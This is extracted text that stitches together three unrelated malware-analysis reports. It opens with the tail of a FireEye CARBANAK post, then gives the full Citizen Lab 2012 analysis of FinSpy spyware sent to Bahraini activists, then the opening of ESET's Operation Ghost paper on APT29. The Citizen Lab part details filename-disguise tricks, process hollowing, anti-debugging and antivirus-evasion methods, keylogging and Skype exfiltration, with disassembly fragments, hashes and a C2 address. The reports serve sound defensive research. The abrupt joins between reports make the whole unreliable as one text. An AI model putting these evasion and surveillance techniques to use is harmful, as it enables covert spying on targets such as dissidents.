If Bruce Lee had been a malware analyst, he might have said that source code is like a finger pointing away to the moon dont concentrate on the finger, or you will miss all that binary ground truth.
Source code can provide immensely rich context, but analysts must be cautious not to misapply that context to binary or forensic artifacts.
In the next and final blog post, we share details on an interesting tool that is part of the CARBANAK kit: a video player designed to play back desktop recordings captured by the backdoor.
15/15 https://www.fireeye.com/blog/threat-research/2019/04/carbanak-week-part-four-desktop-video-player.html CARBANAK Week Part Three: Behind the CARBANAK Backdoor Was There a Build Tool?
Operators Access To Source Code Names of Previously Unidentified Commands The tinymet Command and Associated Payload Conclusion
The Citizen Lab Research Brief July 2012 From Bahrain with Love: FinFishers Spy Kit Exposed?
Author: Morgan Marquis-Boire INTRODUCTION The FinFisher Suite is described by its distributors, Gamma International UK Ltd., as Governmental IT Intrusion and Remote Monitoring Solutions.
1 The toolset first gained notoriety after it was revealed that the Egyptian Governments state security apparatus had been involved in negotiations with Gamma International UK Ltd. over the purchase of the software.
Promotional materials have been leaked that describe the tools as providing a wide range of intrusion and monitoring capabilities.
2 Despite this, however, the toolset itself has not been publicly analyzed.
This post contains analysis of several pieces of malware obtained by Vernon Silver of Bloomberg News that were sent to Bahraini pro-democracy activists in April and May of this year.
The purpose of this work is identification and classification of the malware to better understand the actors behind the attacks and the risk to victims.
In order to accomplish this, we undertook several different approaches during the investigation.
As well as directly examining the samples through static and dynamic analysis, we infected a virtual machine (VM) with the malware.
We monitored the filesystem, network, and running operating system of the infected VM.
This analysis suggests the use of Finspy, part of the commercial intrusion kit, Finfisher, distributed by Gamma International.
https://citizenlab.org/wp-admin/post.php?post14092actionedit1 https://www.f-secure.com/weblog/archives/00002114.html http://wikileaks.org/spyfiles/list/tags/gamma-finfisher-trojan.html https://citizenlab.org/wp-admin/post.php?post14092actionedit2 July 2012 2 DELIVERY This section describes how the malware was delivered to potential victims using e-mails with malicious attachments.
In early May, we were alerted that Bahraini activists were targeted with apparently malicious e-mails.
The emails ostensibly pertained to the ongoing turmoil in Bahrain, and encouraged recipients to open a series of suspicious attachments.
The screenshot below is indicative of typical message content: The attachments to the e-mails we have been able to analyze were typically .rar files, which we found to contain malware.
Note that the apparent sender has an e-mail address that indicates that it was being sent by Melissa Chan, who is a real correspondent for Aljazeera English.
We suspect that the e-mail address is not her real address.
3 The following samples were examined: These contained executables masquerading as picture files or documents: 324783fbc33ec117f971cca77ef7ceaf7ce229a74edd6e2b3bd0effd9ed10dcc  .rar c5b39d98c85b21f8ac1bedd91f0b6510ea255411cf19c726545c1d0a23035914 _gpj.
ArrestedXSuspects.rar c5b37bb3620d4e7635c261e5810d628fc50e4ab06b843d78105a12cfbbea40d7 KingXhamadXonXofficialXvisitXtoX.rar 80fb86e265d44fbabac942f7b26c973944d2ace8a8268c094c3527b83169b3cc MeetingXAgenda.rar f846301e7f190ee3bb2d3821971cc2456617edc2060b07729415c45633a5a751 Rajab.rar 49000fc53412bfda157417e2335410cf69ac26b66b0818a3be7eff589669d040 dialoge.exe cc3b65a0f559fa5e6bf4e60eef3bffe8d568a93dbb850f78bdd3560f38218b5c  gpj.1bajaR.exe 39b325bd19e0fe6e3e0fca355c2afddfe19cdd14ebda7a5fc96491fc66e0faba  gpj.1egami.exe e48bfeab2aca1741e6da62f8b8fc9e39078db574881691a464effe797222e632  gpj.bajaR.exe 2ec6814e4bad0cb03db6e241aabdc5e59661fb580bd870bdb50a39f1748b1d14  gpj.stcepsuS detserrA.exe c29052dc6ee8257ec6c74618b6175abd6eb4400412c99ff34763ff6e20bab864 News about the existence of a new dialogue between AlWefaq  Govt..doc https://citizenlab.org/wp-admin/post.php?post14092actionedit3 July 2012 3 The emails generally suggested that the attachments contained political content of interest to pro-democracy activists and dissidents.
In order to disguise the nature of the attachments a malicious usage of the righttoleftoverride (RLO) character was employed.
The RLO character (U202e in unicode) controls the positioning of characters in text containing characters flowing from right to left, such as Arabic or Hebrew.
The malware appears on a victims desktop as exe.
Rajab1.jpg (for example), along with the default Windows icon for a picture file without thumbnail.
But, when the UTF-8 based filename is displayed in ANSI, the name is displayed as gpj.1bajaR.exe.
Believing that they are opening a harmless .jpg, victims are instead tricked into running an executable .exe file.
4 Upon execution these files install a multi-featured trojan on the victims computer.
This malware provides the attacker with clandestine remote access to the victims machine as well as comprehensive data harvesting and exfiltration capabilities.
INSTALLATION This section describes how the malware infects the target machine.
The malware displays a picture as expected.
This differs from sample to sample.
The sample Arrested Suspects.jpg (gpj.stcepsuS detserrA.exe) displays: https://krebsonsecurity.com/2011/09/right-to-left-override-aids-email-attacks/ https://citizenlab.org/wp-admin/post.php?post14092actionedit4 https://citizenlab.org/wp-content/uploads/2012/07/image5.png July 2012 4 It additionally creates a directory (which appears to vary from sample to sample): It copies itself there (in this case the malware appears as Arrested Suspects.jpg) where it is renamed: Then it drops the following files: It creates the folder (the name of which varies from host to host): This process is observable on the filesystem timeline of the infected host (click image to enlarge): driverw.sys is loaded and then delete.bat is run which deletes the original payload and itself.
It then infects existing operating system processes, connects to the command and control server, and begins data harvesting and exfiltration.
C:\Documents and Settings\XPMUser\Local Settings\Temp\TMP51B7AFEF C:\Documents and Settings\XPMUser\Local Settings\Temp\TMP51B7AFEF\Arrested Suspects.jpg C:\Documents and Settings\XPMUser\Local Settings\Temp\TMP51B7AFEF\tmpD.tmp C:\DOCUME1\USER\LOCALS1\Temp\delete.bat C:\DOCUME1\USER\LOCALS1\Temp\driverw.sys C:\Documents and Settings\USER\Application Data\Microsoft\Installer\5DA45CC9-D840-47CC- 9F86-FD2E9A718A41 https://citizenlab.org/wp-content/uploads/2012/07/image10-lg.png July 2012 5 Examining the memory image of a machine infected with the malware shows that a technique for infecting processes known as process hollowing is used.
For example, the memory segment below from the winlogon.exe process is marked as executable and writeable: Here the malware starts a new instance of a legitimate process such as winlogon.exe and before the processs first thread begins, the malware de-allocates the memory containing the legitimate code and injects malicious code in its place.
Dumping and examining this memory segment reveals the following strings in the infected process: Note the string: y:\lsvn_branches\finspyv4.01\finspyv2\src\libs\libgmp\mpn-tdiv_qr.c https://citizenlab.org/wp-content/uploads/2012/07/image11.png https://citizenlab.org/wp-content/uploads/2012/07/image12.png July 2012 6 This file seems to correspond to a file in the GNU Multi-Precision arithmetic library: http://gmplib.org:8000/gmp/file/b5ca16212198/mpn/generic/tdiv_qr.c The process svchost.exe was also found to be infected in a similar manner: http://gmplib.org:8000/gmp/file/b5ca16212198/mpn/generic/tdiv_qr.c https://citizenlab.org/wp-content/uploads/2012/07/image14-500.png July 2012 7 Further examination of the memory dump also reveals the following: This path appears to reference the functionality that the malware uses to modify the boot sequence to enable persistence: A pre-infection vs post-infection comparison of the infected VM shows that the Master Boot Record (MBR) was modified by code injected by the malware.
The strings found in memory finspyv4.01 and finspyv2 are particularly interesting.
The FinSpy tool is part of the FinFisher intrusion and monitoring toolkit.
5 OBFUSCATION AND EVASION This section describes how the malware is designed to resist analysis and evade identification.
The malware employs a myriad of techniques designed to evade detection and frustrate analysis.
While investigation into this area is far from complete, we discuss several discovered methods as examples of the lengths taken by the developers to avoid identification.
A virtualised packer is used.
This type of obfuscation is used by those that have strong motives to prevent their malware from being analyzed.
6 This converts the native x86 instructions of the malware into another custom language chosen from one of 11 code templates.
At run-time, this is interpreted by an obfuscated interpreter customized for that particular language.
This virtualised packer was not recognised and appears to be bespoke.
y:\lsvn_branches\finspyv4.01\finspyv2\src\target\bootkit_x32driver\objfre_w2k_x86\i386\bootkit_x32driv er.pdb https://citizenlab.org/wp-admin/post.php?post14092actionedit5 https://citizenlab.org/wp-admin/post.php?post14092actionedit6 https://citizenlab.org/wp-content/uploads/2012/07/image15.png July 2012 8 Several anti-debugging techniques are used.
This section of code crashes the popular debugger, OllyDbg.
This float value causes OllyDbg to crash when trying to display its value.
A more detailed explanation of this can be found here.
To defeat DbgBreakPoint based debuggers, the malware finds the address of DbgBreakPoint, makes the page EXECUTE_READWRITE and writes a NOP on the entry point of DbgBreakPoint.
The malware checks via PEB to detect whether or not it is being debugged, and if it is it returns a random address.
The malware calls ZwSetInformationThread with ThreadInformationClass set to 0x11, which causes the thread to be detached from the debugger.
The malware calls ZwQueryInformationProcess with ThreadInformationClass set to 0x(ProcessDebugPort) and 0x1e (ProcessDebugObjectHandle) to detect the presence of a debugger.
If a debugger is detected it jumps to a random address.
ZwQueryInformationProcess is also called to check the DEP status on the current process, and it disables it if its found to be enabled.
The malware deploys a granular solution for Antivirus software, tailored to the AV present on the infected machine.
The malware calls ZwQuerySystemInformation to get ProcessInformation and ModuleInformation.
The malware then walks the list of processes and modules looking for installed AV software.
Our analysis indicates that the malware appears to have different code to Open/Create process and inject for each AV solution.
For some Anti-Virus software this even appears to be version dependent.
The function ZwQuerySystemInformation is also hooked by the malware, a technique frequently used to allow process hiding: .text:00401683 finit .text:00401686 fld ds:tbyte_40168E .text:0040168C jmp short locret_401698 --------------------------------------------------------------------- .text:0040168E tbyte_40168E dt 9.2233720368547758075e18 --------------------------------------------------------------------- .text:00401698 locret_401698: .text:00401698 retn http://qunpack.ahteam.org/?p386 July 2012 9 DATA HARVESTING AND ENCRYPTION This section describes how the malware collects and encrypts data from the infected machine.
https://citizenlab.org/wp-content/uploads/2012/07/image18-500.png July 2012 10 Our analysis showed that the malware collects a wide range of data from an infected victim.
The data is stored locally in a hidden directory, and is disguised with encryption prior to exfiltration.
On the reference victim host, the directory was: We conducted forensic examination of the files created in this directory and identified a wide range of data collected.
Files in this directory were found to be screenshots, keylogger data, audio from Skype calls, passwords and more.
For the sake of brevity we include a limited set of examples here.
The malware attempts to locate the configuration and password store files for a variety browsers and chat clients as seen below: C:\Windows\Installer\49FD463C-18F1-63C4-8F12-49F518F127.
https://citizenlab.org/wp-content/uploads/2012/07/image19-lg.png July 2012 11 We observed the creation of the file t111o00000000.dat in the data harvesting directory, as shown in the filesystem timeline below: Thu Jun 14 2012 12:31:34 52719 mac.
r/rr-xr-xr-x 0 0 26395-128-5 C:/WINDOWS/Installer/49FD463C- 18F1-63C4-8F12-49F518F127/09e493e2-05f9-4899-b661-c52f3554c644 Thu Jun 14 2012 12:32:18 285691 ...b r/rrwxrwxrwx 0 0 26397-128-4 C:/WINDOWS/Installer/49FD463C- 18F1-63C4-8F12-49F518F127/t111o00000000.dat Thu Jun 14 2012 12:55:12 285691 mac.
r/rrwxrwxrwx 0 0 26397-128-4 C:/WINDOWS/Installer/49FD463C-18F1-63C4-8F12-49F518F127/t111o00000000.dat 4096 ..c. -/rr-xr-xr-x 0 0 26447-128-4 The infected process winlogon.exe was observed writing this file via Process: https://citizenlab.org/wp-content/uploads/2012/07/image21-lg.png July 2012 12 Examination of this file reveals that it is a screenshot of the desktop: Many other modules providing specific exfiltration capabilities were observed.
Generally, the exfiltration modules write files to disk using the following naming convention: XXY1TTTTTTTT.dat.
XX is a two-digit hexadecimal module number, Y is a single-digit hexadecimal submodule number, and TTTTTTTT is a hexadecimal representation of a unix timestamp (less 1.3 billion) associated with the file creation time.
ENCRYPTION The malware uses encryption in an attempt to disguise harvested data in the .dat files intended for exfiltration.
Data written to the files is encrypted using AES-256-CBC (with no padding).
The 32-byte key consists of 8 readings from memory address 0x7ffe0014: a special address in Windows that contains the low-order-4-bytes of the number of hundred-nanoseconds since 1 January 1601.
The IV consists of 4 additional readings.
The AES key structure is highly predictable, as the quantum for updating the system clock (HKLM\SYSTEM\CurrentControlSet\Services\W32Time\Config\LastClockRate) is set to https://citizenlab.org/wp-content/uploads/2012/07/image22-ori.png July 2012 13 0x2625A hundred-nanoseconds by default, and the clock readings that comprise the key and IV are taken in a tight loop: The following AES keys were among those found to be used to encrypt records in .dat files.
The first contains the same 4 bytes repeated, whereas in the second key, the difference between all consecutive 4-byte blocks (with byte order swapped) is 0x2625A.
In all, 64 clock readings are taken.
The readings are encrypted using an RSA public key found in memory (whose modulus begins with A25A944E) and written to the .dat file before any other encrypted data.
No padding is used in the encryption, yielding exactly 256 encrypted bytes.
After the encrypted timestamp values, the file contains a number of records encrypted with AES, delimited by EAE9E8FF.
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0x406EA4: 8D45C0 LEA EAX,[EBP-0x40] 0x406EA7: 50 PUSH EAX 0x406EA8: FF150C10AF01 CALL DWORD PTR [0x1AF100C] 0x406EAE: 8B4DE8 MOV ECX,DWORD PTR [EBP-0x18] 0x406EB1: 8B45C0 MOV EAX,DWORD PTR [EBP-0x40] 0x406EB4: 8345E804 ADD DWORD PTR [EBP-0x18],0x4 0x406EB8: 6A01 PUSH 0x1 0x406EBA: 89040F MOV DWORD PTR [EDIECX],EAX 0x406EBD: FF152810AF01 CALL DWORD PTR [0x1AF1028] 0x406EC3: 817DE800010000 CMP DWORD PTR [EBP-0x18],0x100 0x406ECA: 72D8 JB 0x406EA4 0x406ECC: 80277F AND BYTE PTR [EDI],0x7F ... 70 31 bd cc 70 31 bd cc 70 31 bd cc 70 31 bd cc 70 31 bd cc 70 31 bd cc 70 31 bd cc 70 31 bd cc 26 e9 23 60 80 4b 26 60 da ad 28 60 34 10 2b 60 8e 72 2d 60 e8 d4 2f 60 42 37 32 60 9c 99 34 60 http://technet.microsoft.com/en-us/library/cc77326328vws.1029.aspx July 2012 14 In reality, these records are only partially encrypted: if the records length is not a multiple of 16 bytes (the AES block size), then the remainder of the bytes are written to the file unencrypted.
For example, after typing FinSpy on the keyboard, the keylogger module produced the following (trailing plaintext highlighted): The predictability of the AES encryption keys allowed us to decrypt and view these partially-encrypted records in full plaintext.
The nature of the records depends on the particular module and submodule.
For example, submodule Y  5 of the Skype exfiltration module (XX  14), contains a csv representation of the users contact list: Record  0 Length: 243 bytes:    bOp192.168.131.67JRecordingEcsv 0-0800UTC DST.12012-07-18 18:00:21.:1970-01-01 00:16:00Abhwatch1 Record  1 Length: 96 bytes: USERNAME,FULLNAME,COUNTRY,AUTHORIZED,BLOCKED Record  2 Length: 90 bytes: Zecho123,Echo / Sound Test Service,,YES,NO Record  3 Length: 95 bytes: bhwatch2,Bahrain Watch,United States,YES,NO https://citizenlab.org/wp-content/uploads/2012/07/image25-500.png July 2012 15 Submodule Y  3 records file transfers.
After a Skype file transfer concludes, the following file is created: USERPROFILE\Local Settings\Temp\smtXX.tmp.
This file appears to contain the sent / received file.
As soon as smtXX.tmp is finished being written to disk, a file (1431XXXXXXXX.dat) is written, roughly the same size as smtXX.tmp.
After sending a picture (of birdshot shotgun shell casings used by Bahrains police) to an infected Skype client, the file 1431028D41FD.dat was observed being written to disk.
Decrypting it revealed the following: Record  1 Length: 78247 bytes: [Note: Record 1 contained the contents of the .jpg file, preceded by hex A731010090051400, and followed by hex 0A0A0A0A.]
Record  0 Length: 441 bytes:    bOp192.168.131.67Abhwatch1Bbhwatch2CBahrain WatchIreceivedrC:\Documents and Settings\XPMUser\My Documents\gameborev3.jpgJRecording 0-0800UTC DST.12012-07-20 12:18:21.:2012-07-20 12:18:21 July 2012 16 Additionally, submodule Y  1 records Skype chat messages, and submodule Y  2 records audio from all participants in a Skype call.
The call recording functionality appears to be provided by hooking DirectSoundCaptureCreate: COMMAND AND CONTROL This section describes the communications behavior of the malware.
When we examined the malware samples we found that they connect to a server at IP address 77.69.140.194 https://citizenlab.org/wp-content/uploads/2012/07/image29-500.png July 2012 17 WHOIS data 7 reveals that this address is owned by Batelco, the principal telecommunications company of Bahrain: For a period of close to 10 minutes, traffic was observed between the infected victim and the command and control host in Bahrain.
A summary of the traffic by port and conversation size (click image to enlarge): The infected VM talks to the remote host on the following five TCP ports: Based on observation of an infected machine we were able to determine that the majority of data is exfiltrated to the remote host via ports 443 and 4111.
inetnum: 77.69.128.0 - 77.69.159.255 netname: ADSL descr: Batelco ADSL service country: bh 22 53 80 443 4111 https://citizenlab.org/wp-admin/post.php?post14092actionedit7 https://en.wikipedia.org/wiki/Batelco https://citizenlab.org/wp-content/uploads/2012/07/image30.png https://citizenlab.org/wp-content/uploads/2012/07/image32-lg.png July 2012 18 CONCLUSIONS ABOUT MALWARE IDENTIFICATION Our analysis yields indicators about the identity of the malware we have analyzed: (1) debug strings found the in memory of infected processes appear to identify the product and (2) the samples have similarities with malware that communicates with domains belonging to Gamma International.
Debug Strings found in memory As we previously noted, infected processes were found containing strings that include finspyv4.01 and finspyv2: Publicly available descriptions of the FinSpy tool collected by Privacy International among others and posted on Wikileaks 8 make the a series of claims about functionality: Bypassing of 40 regularly tested Antivirus Systems Covert Communication with Headquarters Full Skype Monitoring (Calls, Chats, File Transfers, Video, Contact List) Recording of common communication like Email, Chats and Voice-over-IP Live Surveillance through Webcam and Microphone Country Tracing of Target Silent Extracting of Files from Hard-Disk Process-based Key-logger for faster analysis Live Remote Forensics on Target System Advanced Filters to record only important information Supports most common Operating Systems (Windows, Mac OSX and Linux) 192.168.131.65:1213 - 77.69.140.194:443 1270075 bytes 192.168.131.65:4111 - 77.69.149.194:4111 4766223 bytes y:\lsvn_branches\finspyv4.01\finspyv2\src\libs\libgmp\mpn-tdiv_qr.c y:\lsvn_branches\finspyv4.01\finspyv2\src\libs\libgmp\mpn-mul_fft.c y:\lsvn_branches\finspyv4.01\finspyv2\src\target\bootkit_x32driver\objfre_w2k_x86\i386\bootkit_x32driv er.pdb https://www.privacyinternational.org/ https://citizenlab.org/wp-admin/post.php?post14092actionedit8 July 2012 19 Shared behavior with a sample that communicates with Gamma The virtual machine used by the packer has very special sequences in order to execute the virtualised code, for example: Based on this we created a signature from the Bahrani malware, which we shared with another security researcher who identified a sample that shared similar virtualised obfuscation.
That sample is: The sample connects to the following domains: The domain tiger.gamma-international.de has the following Whois information 9 : 66 C7 07 9D 61 mov word ptr [edi], 619Dh C6 47 02 68 mov byte ptr [edi2], 68h 89 57 03 mov [edi3], edx C7 47 07 68 00 00 00 mov dword ptr [edi7], 68h 89 47 08 mov [edi8], eax C6 47 0C C3 mov byte ptr [edi0Ch], 0C3h md5: c488a8aaef0df577efdf1b501611ec20 sha1: 5ea6ae50063da8354e8500d02d0621f643827346 sha256: 81531ce5a248aead7cda76dd300f303dafe6f1b7a4c953ca4d7a9a27b5cd6cdf tiger.gamma-international.de ff-demo.blogdns.org Domain: gamma-international.de Name: Martin Muench Organisation: Gamma International GmbH Address: Baierbrunner Str.
15 PostalCode: 81379 City: Munich CountryCode: DE Phone: 49-89-2420918-0 Fax: 49-89-2420918-1 Email: infogamma-international.de Changed: 2011-04-04T11:24:2002:00 https://citizenlab.org/wp-admin/post.php?post14092actionedit9 July 2012 20 Martin Muench is a representative of Gamma International, a company that sells advanced technical surveillance and monitoring solutions.
One of the services they provide is FinFisher: IT Intrusion, including the FinSpy tool.
This labelling indicates that the matching sample we were provided may be a demo copy a FinFisher product per the domain ff-demo.blogdns.org.
We have linked a set of novel virtualised code obfuscation techniques in our Bahraini samples to another binary that communicates with Gamma International IP addresses.
Taken alongside the explicit use of the name FinSpy in debug strings found in infected processes, we suspect that the malware is the FinSpy remote intrusion tool.
This evidence appears to be consistent with the theory that the dissidents in Bahrain who received these e-mails were targeted with the FinSpy tool, configured to exfiltrate their harvested information to servers in Bahraini IP space.
If this is not the case, we invite Gamma International to explain.
RECOMMENDATIONS The samples from email attachments have been shared with selected individuals within the security community, and we strongly urge antivirus companies and security researchers to continue where we have left off.
Be wary of opening unsolicited attachments received via email, skype or any other communications mechanism.
If you believe that you are being targeted it pays to be especially cautious when downloading files over the Internet, even from links that are purportedly sent by friends.
ACKNOWLEDGEMENTS Malware analysis by Morgan Marquis-Boire and Bill Marczak.
Assistance from Seth Hardy and Harry Tuttle gratefully received.
Special thanks to John Scott-Railton.
Thanks to Marcia Hofmann and the Electronic Frontier Foundation (EFF).
We would also like to acknowledge Privacy International for their continued work and graciously provided background information on Gamma International.
http://www.bbc.co.uk/news/technology-14981672 http://www.finfisher.com/FinFisher/en/index.phpsaDsntz1usgAFQjCNGsJVX58w-1pPJc-v9nwhCG1rH0UA http://www.cs.berkeley.edu/wrm/ http://www.johnscottrailton.com/ https://www.privacyinternational.org/ July 2012 21 FOOTNOTES 1 http://www.finfisher.com/ 2 http://owni.eu/2011/12/15/finfisher-for-all-your-intrusive-surveillance-needs/SpyFiles 3 http://blogs.aljazeera.com/profile/melissa-chan 4 This technique was used in the recent Madi malware attacks.
5 http://www.finfisher.com/ 6 Unpacking Virtualised Obfuscators by Rolf Rolles - http://static.usenix.org/event/woot09/tech/full_papers/rolles.pdf 7 http://whois.domaintools.com/77.69.140.194 8 E.g.
http://wikileaks.org/spyfiles/files/0/289_GAMMA-201110-FinSpy.pdf 9 http://whois.domaintools.com/gamma-international.de Back to top MEDIA COVERAGE The Wall Street Journal Slate CSO Tech Week Europe Bloomberg Electronic Frontier Foundation Privacy International Spiegel Online PC Mag The New York Times About the Author Morgan Marquis-Boire is a Technical Advisor at the Citizen Lab, Munk School of Global Affairs, University of Toronto.
He works as a Security Engineer at Google specializing in Incident Response, Forensics and Malware Analysis.
http://www.finfisher.com/ http://owni.eu/2011/12/15/finfisher-for-all-your-intrusive-surveillance-needs/SpyFiles http://blogs.aljazeera.com/profile/melissa-chan https://www.securelist.com/en/blog/208193677/The_Madi_Campaign_Part_I http://www.finfisher.com/ http://static.usenix.org/event/woot09/tech/full_papers/rolles.pdf http://wikileaks.org/spyfiles/files/0/289_GAMMA-201110-FinSpy.pdf https://citizenlab.org/wp-admin/post.php?post14092actionedittop http://blogs.wsj.com/digits/2012/07/25/how-pro-regime-forces-use-spyware-to-target-arab-spring-rebels/ http://www.slate.com/blogs/future_tense/2012/07/25/finspy_trojan_from_gamma_group_may_have_been_used_against_bahraini_activists_says_report_.html http://www.cso.com.au/article/431899/finfisher_fingered_bahrain_folk_surveillance/?fp4fpid959105 http://www.techweekeurope.co.uk/news/cyber-spy-bahrain-gamma-international-87396 http://www.bloomberg.com/news/2012-07-25/cyber-attacks-on-activists-traced-to-finfisher-spyware-of-gamma.html https://www.eff.org/deeplinks/2012/07/elusive-finfisher-spyware-identified-and-analyzed3Cbr20/3E https://www.privacyinternational.org/blog/british-spyware-used-to-target-bahraini-activists http://www.spiegel.de/netzwelt/netzpolitik/bahrain-trojanerangriff-auf-buergerrechtler-a-846515.html http://securitywatch.pcmag.com/none/301324-finfisher-spyware-c-c-server-detected-in-us http://bits.blogs.nytimes.com/2012/08/13/elusive-finspy-spyware-pops-up-in-10-countries/
OPERATION GHOST The Dukes arent back they never left Matthieu Faou Mathieu Tartare Thomas Dupuy ESET Research White papers // October 2019 TABLE OF CONTENTS 1.
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18 4.4 MiniDuke backdoor: the second stage.
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38 LIST OF FIGURES Figure 1 Dukes history timeline newly discovered items related to Operation Ghost are shaded                                                                                           6 Figure 2 Historical malicious email example                                                            7 Figure 3 Decoy document opened by the malicious attachment                                    7 Figure 4 Reddit post containing an encoded CC URL                                               9 Figure 5 Timeline of Operation Ghost                                                                    9 Figure 6 Comparison of a custom string encryption function found in PolyglotDuke and in OnionDuke samples from 2013                                                        10 Figure 7 Comparison of the same function in MiniDuke from 2014 and in MiniDuke from 2018                                                                              11 Figure 8 Summary of Operation Ghost malware platform                                          12 Figure 9 Dukes operational hours                                                                         13 Figure 10 Example of a public post containing an encoded CC URL                             14 Figure 11 CC response with a path to an image to download                                     16 Figure 12 Communication sequence with the CC server                                            16 Figure 13 Embedded blob format                                                                           17 Figure 14 Decompiled hash signature verif ication procedure                                        18 Figure 15 Public key used to verify the hash signature                                                18 Figure 16 Encrypted blob format after decryption                                                     18 Figure 17 Obfuscated RegDuke sample                                                                   19 Figure 18 RegDuke  The path, password and salt are hardcoded in this example              19 Figure 19 Decryption of RegDuke payload                                                              20 Figure 20 Dropbox backdoor configuration (redacted)                                               20 Figure 21 Example of two pictures downloaded from the Dropbox directory                        21 Figure 22 Loop extracting a payload from the pixels of a downloaded picture                  21 Figure 23 The least signif icant bits of each color of each pixel are extracted to recover the hidden data                                                                                    21 Figure 24 Comparison between a blue of value 255 and a blue of value 248                     22 LIST OF TABLES Table 1 List of parameters used to generate GET request to the CC server                 14 Table 2 Example of redirection from the CC servers root URLs                               16 Table 3 List of execution type combination and their corresponding behavior               18 Table 4 RegDuke Windows registry keys                                                               19 Table 5 Hardcoded User-Agent                                                                          25 Table 6 FatDuke backdoor commands                                                                  27 Table 7 User-Agent strings used by LiteDuke                                                        33 Figure 25 Invalid digital signature added to the backdoor                                            22 Figure 26 Control flow flattening used to obfuscate the MiniDuke backdoor                   23 Figure 27 Post request to the CC server that looks like a regular jpeg f ile upload           23 Figure 28 FatDuke configuration data in the PE resources                                           24 Figure 29 FatDuke configuration example                                                               25 Figure 30 FatDuke CC protocol                                                                          26 Figure 31 Additional image tag sent by FatDuke CC                                                27 Figure 32 CC response including most of a valid PNG header and an encrypted command for FatDuke                                                                           27 Figure 33 Example of commands sent to FatDuke                                                     28 Figure 34 FatDuke obfuscation  String stacking                                                      29 Figure 35 FatDuke obfuscation  Opaque predicate                                                   29 Figure 36 FatDuke obfuscation  Junk function call                                                   30 Figure 37 FatDuke obfuscation  Junk function return value                                       30 Figure 38 FatDuke obfuscation  Chromium strings                                                  30 Figure 39 LiteDuke unpacking process                                                                     31 Figure 40 Curious phone number left by the attackers                                                 31 Figure 41 Assembler used by the developer (screenshot of DIE analysis)                        32 Figure 42 Multiple while loops instead of a backdoor switch case                                 33 Figure 43 List of LiteDuke command IDs                                                                 33 Figure 44 LiteDuke CC domain, resources and parameters                                       34 Operation Ghost The Dukes arent back  they never left5 1.
EXECUTIVE SUMMARY It is exceptionally rare for a well-documented threat actor, previously implicated in very high-profile attacks, to stay completely under the radar for several years.
Yet, in the last three years that is what APT group the Dukes (aka APT29 and Cozy Bear) has done.
Despite being well known as one of the groups to hack the Democratic National Committee in the run-up to the 2016 US election, the Dukes has received little subse- quent attention.
The last documented campaign attributed to them is a phishing campaign against the Norwegian government that dates back to January 2017.
In this white paper, we describe how we uncovered that the Dukes had been running successful espionage campaigns while avoiding public scrutiny, thanks to stealthy communication techniques and retooling.
We call these newly uncovered Dukes campaigns, collectively, Operation Ghost, and describe how the group has been busy compromising government targets, including three European Ministries of Foreign Affairs and the Washington DC embassy of a European Union country, all without drawing attention to their activities.
Key points in this white paper: The Dukes never stopped their espionage activities.
Operation Ghost likely started in 2013.
The last known activity linked to Operation Ghost occurred in June 2019.
ESET researchers identified at least three victims: all European Ministries of Foreign Affairs including the Washington DC embassy of a European Union country.
The Dukes have used four new malware families in this campaign: PolyglotDuke, RegDuke, FatDuke and LiteDuke.
Operation Ghost uses a previously documented Dukes backdoor: MiniDuke.
The Dukes have leveraged online services such as Twitter, Imgur and Reddit to act as primary Command and Control (CC) channels for their first-stage malware.
The Dukes have used very stealthy techniques such as steganography to hide communications between compromised machines and their CC servers.
For any inquiries related to this white paper, contact us at threatinteleset com.
2.
BACKGROUND The Dukes, also known as APT29 and Cozy Bear, is an infamous cyberespionage group active since at least 2008.
In particular, it is known for being one of the adversaries to have breached the Democratic National Committee during the 2016 US presidential election [1].
It was even featured in a joint report issued by the FBI and the Department of Homeland Security (DHS), as part of malicious cyber-activities the report dubbed Grizzly Steppe [2].
That report was published in 2017 and describes malicious activities that occurred around the presidential election of 2016.
This section is a summary of the groups previously documented activities to refresh the readers memory, since the last related publication dates from almost three years ago.
Our most recent discoveries are detailed in the subsequent sections of this white paper.
2.1 Timeline Even though the groups activities are believed to have started in 2008, the first public report was released in 2013 with the analysis of MiniDuke by Kaspersky [3].
Over the next two years, multiple reports dissected the Dukes arsenal, including a comprehensive summary by F-Secure of the groups activities from 2008 to 2015 [4].
One of the most recent attacks that we can link to the Dukes is the January 2017 phishing attempt against the Ministry of Foreign Affairs, the Labour Party and the Armed Forces of Norway [5].
Since then, most security experts have believed the Dukes went dark or completely changed their arsenal to pursue their mission.
mailto:threatinteleset.com Operation Ghost The Dukes arent back  they never left6 In November 2018, a strange phishing campaign hit dozens of different organizations in the United States, including government agencies, and think tanks.
The attack leveraged a malicious Windows shortcut (a .lnk file) that bore similarities to a malicious shortcut used by the Dukes in 2016.
However, that earlier sample was available in a public malware repository for many years, allowing another actor to easily conduct a false-flag operation.
In addition, there is no evidence that any custom malware used only by the Dukes was employed during this attack.
From FireEyes detailed analysis of the attack [6], it was not possible to make a high-confidence attribution to this threat actor.
Figure 1 summarizes the important events of the Dukes history.
Some activities related to Operation Ghost are also presented to help understand the overlap between all the events.
2008 Dukes first known activities 2013 First known activity linked to Operation Ghost by ESET 2013 First public report by Kaspersky Labs 2016 September First known deployment of the latest third-stage implant: FatDuke 2017 Grizzly Steppe report by the FBI and the DHS 2015 Attack against the US Democratic National Committee (discovered in 2016) 2019 June Latest observed activity 2017 August First known deployment of the RegDuke malware 2018 October Last known Twitter account registered by the Dukes NEW Newly discovered items related to Operation Ghost NEWNEW Figure 1 // Dukes history timeline 2.2 Targets Over the years, it has been possible to draw the big picture of the Dukes main targets.
The group is primarily interested in spying on governments either in the West or in former USSR countries.
Besides governments, the group has also targeted various organizations linked to NATO, think tanks, and political parties.
This targeting suggests a clear interest in collecting information allowing a better understanding of future international political decisions, which would seem of most interest to a government.
Unlike other groups such as GreyEnergy [7] and TeleBots [8], it is important to note that we have never seen the Dukes engaged in cybersabotage operations.
Surprisingly though, the group also has conducted spying operations outside its main focus.
In 2013, Kaspersky researchers found evidence that part of the Dukes toolset had been used against drug dealers in Russia [9].
This may suggest that this toolset is not only used for collecting foreign intelligence but also for conducting LE investigations of criminal activities.
Operation Ghost The Dukes arent back  they never left7 2.3 Tools and tactics The Dukes group is known to be a major player in the espionage scene.
It is associated with a large toolset with more than ten different malware families written in C/C [10], PowerShell [11], .NET [12] and Python [13].
It has also adopted living-off-the-land tactics, misusing standard IT tools such as PsExec and Windows Management Instrumentation (WMI).
As mentioned before, we invite our readers to read the F-Secure summary [4] for an analysis of the earlier malware platforms used by this threat actor.
